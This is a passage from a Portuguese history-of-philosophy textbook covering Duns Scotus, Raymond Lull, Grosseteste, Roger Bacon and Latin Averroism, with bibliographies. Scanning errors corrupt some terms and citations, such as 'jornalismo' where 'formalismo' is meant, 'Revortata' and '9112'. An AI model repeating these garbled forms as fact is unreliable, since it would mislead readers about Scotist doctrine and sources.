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§ 4.° — Nova escola franciscana — Duns Scoto

85. Os franciscanos que pugnaram a princípio contra as doutrinas tomistas eram filiados na escola de S. Boaventura mais inclinada à filosofia augustiniana que à peripatética. Quem desviou a direção intelectual da ordem para o aristotelismo foi Duns Scoto. chefe de uma nova escola que durante séculos se opôs à dominicana.

DUNS SCOTO (1274 ou, segundo outros, 1266-1308), de origem irlandesa ou escocesa, entrou muito jovem para a ordem de S. Francisco. Ensinou primeiro em Oxford, onde estudara quando a universidade era um dos focos de reação antitomista, passou depois a Paris (1302-1307), onde seus triunfos lhe grangearam grande nomeada, indo finalmente para Colônia, onde pouco depois faleceu.

Seus trabalhos de Oxford (Quaestiones in libros IV Sententiarum) constituem o Opus oxoniense. Sob o nome de Revortata pa-risiensia, conservam-se as notas de um segundo comentário a Pedro Lombardo, recolhido pelos discípulos de Paris. Os comentários à física e metafísica de Aristóteles, os Theoremata e as Quaestiones disputatae de rerum principio e a Grammatica speculativa são, pela crítica destes últimos anos, rejeitadas como espúrias ou pelo menos de autenticidade duvidosa. Com este corte, a filosofia do mestre franciscano ganhou em coerência e se lhe acentuou mais o caráter construtivo.

Dotado de extrema agudeza intelectual, Scoto aplicou-se principalmente à crítica; impugnou quase todos os grandes nomes do século XIII, desde Tomás de Aquino e Rogério Bacon até Godofredo de Fontaines e Henrique de Gand. Sua crítica, porém, solícita, severa e contínua, respeita as regras da cortesia. A linguagem de Scoto nem sempre é clara, o estilo é pouco didático, a exposição, defeituosa.

Na interpretação do aristotelismo, o mestre franciscano distancia-se de S. Tomás, fundindo numa síntese original os elementos que se achavam aqui e ali disseminados na escola de sua ordem.

As doutrinas características do scotismo são:

  • a) o jornalismo. Multiplicando as formalidades distintas, Scoto complica a realidade metafísica dos seres, afirmando ao mesmo tempo com energia a sua unidade individual. Assim, no homem, além da matéria prima, há uma forma corporeitatis que a prepara a receber a alma intelectiva, que é uma só alma com a sensitiva e vegetativa. Nesta só alma, porém, há três formalitates de uma mesma realidade. Esta célebre distinção das formalidades, média entre a distinção real e a distinção mental, aplica-se em toda a metafísica: entre a natureza e a individuação, a essência e a existência, as faculdades- da alma, os atributos divinos etc., etc.
  • b) a univocidade do ser. A noção transcendente de ser não é genérica (fora do ser nada há que o possa diferenciar) mas é uní-voca, aplicando-se do mesmo modo a Deus e à criatura, à substância e ao acidente segundo a razão formal e abstrata de ser, não segundo os moelos concretos de existência. Por outra, o ser é uní-voco no domínio da realidade.
  • c) o intuicionismo psicológico que afirma um conhecimento intelectivo direto e imediato dos indivíduos, acentuando a objetividade da inteligência com a intuição das existências, mas complicando a explicação psicológica do contato da alma com o singular.
  • d) o voluntarismo. Na sua filosofia, Scoto sublinha fortemente a atividade da vontade, defendendo-lhe a onímoda liberdade mesmo diante do bem completo e outorgando-lhe a primazia de nobreza sobre a inteligência.

Por estes pontos o Doutor sutil afirma a originalidade de seu sistema em face do aristotelismo dominicano. Scoto não inaugura uma oposição ao tomismo; continua, a seu modo, na nova orientação peripatética, o antagonismo j4 existente entre a escola franciscana da escolástica anterior e a renovação doutrinai que encontrou em S. Tomás o seu mais genial representante.

BIBLIOGRAFIA

J. D. Scott, Opera omnia, ed. Wadding. 12 vols., Lugduni, 1639; Paris. Vives 1891-95, 26 vois. — Werner, Duns Scotus, Wien, 1881; Pluzanski, Essai sur la philosophie de D. Scot, Paris, 1887; Vacant, Études comparées sur la phil. de S. Thomas et de D. Scot. Paris-Lyon, 1891; — P. Minges, J. D. Scoti doctrina philoso’vhica et theologica quoad res praecipuas propo-sita, 2 vols., Quaracchi, 1908; do mesmo numerosos artigos no Philosophisches Jahrbuch, 1906-07. no Theol. Quartalschrift, 1907-1908; na Β G Ρ M, VIII. Γ,. Β. Landry, Duns Scot, Paris, 1922; — E. Longpré, La philosophie du Β. D. Scott, Paris, 1924 (contra Landry). C. R. S. Harris, Duns Scotus, 2 vols., Oxford, 1927. Consultar também as revistas franciscanas. Bibliografia mais completa em Harris, Op. cit., I, 316-360.

Contemporâneo de Scoto, mas que não lhe sentiu a influência foi RAIMUNDO LULO (1235-1315), doctor illuminatus, poeta, filósofo, místico, brilhante escritor catalão, que empregou quase toda a sua vida na conversão dos muçulmanos, trabalhando principalmente como apologeta nas controvérsias e nos livros. Morreu lapidado pelos mouros em Tunis. Seu trabalho mais célebre é a Ars magna, vasta máquina de raciocinar, onde se procuram substituir as demonstrações racionais por artifícios mecânicos.

BIBLIOGRAFIA

Raymundi Lulli, Opera omnia ed. Salzinger, Moguncia, 1721-42. 10 vols. Obres de Ramon Lulle, Mallorca, 11 vols, publicados até 1917; — Βοvé, El sistema cientifico lulliano. Ars magna. Exposición y critica, Barcelona, 1908; — Julian Ribera, Origines de la filosofia de R. Lullo, Madrid, 1899; — O. Reicher, R. Lullus e Declaratio Raymundi per modum dialogi edita, em Β G Ρ M, VII, 4-5; — J. Probst, Caractère et origines des idées du Β. R. Lulle, Toulouse, 1912, (contra Bové) ; — J. Avtnyo, Historia del Lulisme, Barcelona, 1925; — R. Riber, Raimundo Lulio, Barcelona, 1935.

§ 5.° — Orientação científica

86. Enquanto os grandes pensadores precedentes elevavam a filosofia ao seu apogeu, outros não menos ativos lançavam os primeiros alicerces da moderna ciência experimental.

Precursores deste movimento foram, entre outros, Pedro de Ma-ricourt e Roberto Grosseteste. Pedro de Maricourt, da escola de Chartres, é autor de uma Epístola de magnete (1261) e de uma Nova compositio Astrolabii particularis. Sob forma epistolar, a sua dissertação sobre o magnetismo pode ser considerada como o primeiro trabalho científico escrito segundo o método experimental. Só foi superado em 1600 pelo livro de W. Gilbert que o cita várias vezes. Pedro de Maricourt insiste sobre a necessidade de completar a filosofia natural e os estudos matemáticos por meio da experiência que só é capaz de corrigir certos erros: "oportet ipsum esse industriosum in opere manuum… nam per suam industriam ex módico poterit errorem corrigere quod in aeternum per naturalem sc. philosophiam et mathematicam solas non faceret, si manuum careret industria". Epist de magnete, I, 2. Ε era tão hábil nesta "industria manuum", que R. Bacon o chamava "mestre das experiências, dominus ex-perimentorum".

Roberto de Grosseteste (1175-1253) estudou em Paris e Oxford, foi regente e cancelário da universidade oxoniense e por fim bispo de Lincoln. Sua atividade literária foi universal; escreveu sobre física, astronomia, meteorologia, cosmogonia, metafísica e psicologia. Desprendendo-se da autoridade de Aristóteles, recorreu a outros autores e à própria experiência: per experientiam propriam et aucto-res alios, escreve dele R. Bacon et per alias scientias negotiatus est in sapientialïbus Aristotelis. É notável o amplo desenvolvimento que ele deu à teoria metafísica da luz, cujos lineamentos gerais já se encontravam nos autores neoplatônicos e árabes. O seu maior merecimento, porém, foi de haver preconizado a necessidade e importância de aplicar as matemáticas ao estudo da natureza. "Uti-litas considerationis linearum angulorum et figurarum est maxima, quoniam impossibile est sciri naturalem philosophiam sine illis. Valent autem in toto universo et partibus ejus absolute… Omnes enim causae effectuum naturalium habent dari per lineas, ângulos et figuras. Aliter enim impossibile est sciri "propter quid" in illis". De luce, ed. Baur, p. 59, 60 (Β. G. P. M., XII). É uma visão clara dos serviços que à física pode prestar a geometria.

Pertencentes à mesma orientação positivo-matemática podem citar-se ainda os nomes de Alexandre Neckham, Alfredo Anglico, Miguel Scottus, Bartolomeu Anglico e outros. Mas, incontestà-velmente, o mais célebre representante da escola experimental no séc. XIII é

ROGÉRIO BACON (1210 ou 14 — 1294). Inglês de origem, estudou primeiro em Oxford, depois em Paris, entrou, não se sabe exatamente quando, na ordem de S. Francisco, foi professor em Oxford e, entre outros trabalhos, legou à posteridade as três obras: Opus majus, opus minus, opus tertium. Discípulo de Pedro Mari-court e de Roberto de Grosseteste, Bacon fundiu as tendências dos dois inculcando com não menor energia o cultivo das matemáticas e a observação direta da natureza. A matemática é indispensável para o estudo de qualquer ciência: omnis scientia requirit mathema-ticam (Op. maj. p. IV, d. 1, c. 2). Pela certeza indubitável de suas conclusões, constitui o ideal da ciência: in mathematica possumus devenire ad plenam veritatem sine errore et ad omnium certitu-dinem sine dubitatione: quoniam in ea convenu haberi demonstra-tionem per causam propriam et necessariam" (Ibid. c. 3). Não menos necessária, porém, é a experiência. Combatendo energicamente o método apriorístico e o respeito exagerado às autoridades clássicas, o frade inglês insiste sobre a importância e as prerrogativas da ciência experimental (scientia experimentalis). É na sua pena que este nome aparece pela primeira vez na história do pensamento humano. Dando o exemplo, aplicou-se com todo o ardor à investigação da natureza. Aperfeiçoou notavelmente os instrumentos de ótica — lentes e espelhos, — advertiu o erro do calendário juliano, descreveu a via Láctea como um agregado de estrelas, " Habens multas Stellas congregatas" e entreviu várias invenções modernas: máquinas de vapor, telescópios, microscópios, potência dinâmica da pólvora, pontes suspensas, aeroplanos etc. (77). O seu espírito positivo manifesta-se ainda na insistência com que aconselha o estudo das línguas clássicas e orientais; o grego; o hebreu, o árabe e o caldeu são línguas imprescindíveis para o filósofo e teólogo.

Em metafísica, a importância de Bacon é menor. Êle subscreve a quase todas as teses da antiga escola franciscana. Seu merecimento principai é ter sido homem de ciência. Os contemporâneos chamaram-no doctor mirabilis. Se ainda lembrarmos as suas vistas históricas impregnadas de tradicionalismo, as suas tendências a um iluminismo, místico, teremos dado a entender os principais aspectos desta individualidade singularmente complexa e interessante.

BIBLIOGRAFIA

Erhard Schlund, Petrus Peregrinus von Maricourt. Sein Leben und sein Schriften, Archiv, francise, hist. 1911-12 (onde vem toda a bibliografia) — L. Baur, Die philosophischen Werke des Robert Grosseteste, Münster Í. W. 9112 (BBPM, IX) ; Id., Die Philosophie des Roberts Grosseteste. Münster i. W. (B G Ρ M, XVIII, 4-6) ; — RoGERii Bacon, Opus majus, ed. de Bridges, 3 vols., Oxford, 1897-1900; — Opera hactenus inédita, ed. de J. S. Brewer, London, 1859 (contém o opus minus, opus tertium ambos incompletos e o Compendium philosophîae) ; — Opera hactenus inédita, ed. de R. Stelle, 5 fisciculos, Oxford, 1905-1913; — Charles, R. Bacon, sa vie, ses ouvrages, ses doctrines, Paris, 1861; — S. Vogl, Die Physik R. Bacons, Erlangen, 1906; — L. Marchal, R. Bacon, sa méthode et ses principes, Louvain, 1911; — Little, R. Bacon, Essays, Oxford, 1914 (obra coletiva); — R. Carton, L’expérience physique chez R. B.; — L’expérience mystique de l’illumination intérieure chez R. Bacon; — La synthèse doctrinale de R. B., 3 vols., Paris, 1924.

ARTIGO II – FILOSOFIA ΑΝΤΙESCOLÁSTICA

87. AVERROISMO — O averroismo latino é a forma precípua da antiescolástica no século XIII. À interpretação albertino-to-mista de Aristóteles êle opõe o peripatetismo de Averroes. A unidade da inteligência ativa, a negação do livre arbítrio, da imortalidade pessoal e da Providência, a teoria das duas verdades são as teses capitais em que se acentua a divergência e contra as quais vivamente combateram os mais insignes doutores do grande século. No que concerne ao método, enquanto os escolásticos recorriam, sobretudo, aos argumentos de razão, os averroístas, o mais das vezes apelavam para a autoridade infalível de Aristóteles, infalivelmente interpretado pelo infalível Averroes. Prezavam-se até do título de símios dos dois mestres.

A oposição averroísta teve seus representantes na própria universidade de Paris. Siger de Brabante foi o mais célebre. Contemporâneo do Doutor Angélico, teve com êle vivíssimas polêmicas. Citado aos tribunais, abandonou a universidade, partindo para Roma. Seu fim é ignorado.

Novas obras de Siger, até há pouco inéditas e recentemente descobertas, atenuam as divergências entre o seu averroismo e o tomismo. Incontestàvelmente há, no seu pensamento, uma evolução do primeiro para o segundo.

Vencido pelos grandes doutores, o averroísmo não desapareceu de todo. Encontrá-lo-emos no período seguinte, lutando contra a escolástica então decadente e, mais tarde, dominando em algumas universidades (Pávia) da Renascença.

(77) "Currus possunt fieri ut sine animali moveantur cum impetu inaestimabili. (Pontes possunt fieri) sine columna vel aliquo sustentaculo. Instrumentum per quod alae artificialiter compositae aerem verberent, ad modum avis volarent". Por este ardor Infatigável no estudo da natureza mais talvez que o chanceler seu homônimo merecia o frade franclscano o título de precursor da moderna ciência experimental.

BIBLIOGRAFIA

P. Mandonnet, Siger de Brabant et Vaverroisme latin au XIII siècle2, 2 vols., Louvain, 1911. é obra fundamental sobre o assunto; — Grabmann, Neuaufgefundene Werke des S, v. Brabant und Boetius von Dazien, Sitz. Berichte Bayer. Akad. Wissensch. Philos. — philol. u. hist. Kl. 1924, 2; F. van Steenberghen, Siger de Brabant, d’après ses oeuvres inédites, Louvain. 1931.

Fonte: Agir, 20ª edição.


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